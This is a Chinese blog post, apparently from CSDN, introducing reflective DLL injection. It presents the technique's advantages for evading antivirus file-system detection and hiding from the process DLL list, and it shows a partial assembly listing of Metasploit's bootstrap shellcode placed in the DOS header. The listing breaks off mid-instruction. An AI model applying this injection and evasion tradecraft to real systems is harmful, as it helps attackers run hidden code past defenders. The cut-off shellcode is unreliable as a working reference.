reflective dll injection 反射注入

反射DLL注入是一种不涉及文件操作的注入技术,通过内存中完成DLL注入。本文介绍了其优点(如规避杀软检测)和缺点(如体积较大),详细讲解了修改DOS头、构造bootstrap shellcode以及ReflectiveLoader函数的实现。在ReflectiveLoader中,需要修复重定位表和IAT表以使DLL能在目标进程中正常运行。最后,提到了在编写和编译DLL时需要注意的配置选项,如关闭C/C++的某些调试和安全检查功能。
摘要由CSDN通过智能技术生成

一、reflective dll injection 反射注入介绍

网上对反射注入的定义是只通过内存把DLL注入到特定进程中,也就是说整个过程都不涉及文件操作。

优点

  • 规避杀软基于文件系统的检测

  • 不会在进程的DLL链表里留下记录

  • 通过特殊处理,可以使用正常的方式编写DLL,实现shellcode的效果

缺点

  • DLL体积较大,相比于shellcode注入,更容易被检测

二、修改dos头,填入精心构造的 bootstrap shellcode

metasploit 实现的bootstrap shellcode非常精妙,它保留了正常DLL的特征

dec ebp ; M
pop edx ; Z
call 0 ; call next instruction
pop ebx ; get our location (+7)
push edx ; push edx back
inc ebp ; restore ebp
push ebp ; save ebp
mov ebp, esp ; setup fresh stack frame
add ebx, 0x???????? ; add offset to ReflectiveLoader
call ebx ; call ReflectiveLoader
mov ebx, eax ; save DllMain for second call
push edi ; our socket
push 0x4 ; signal we have a
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值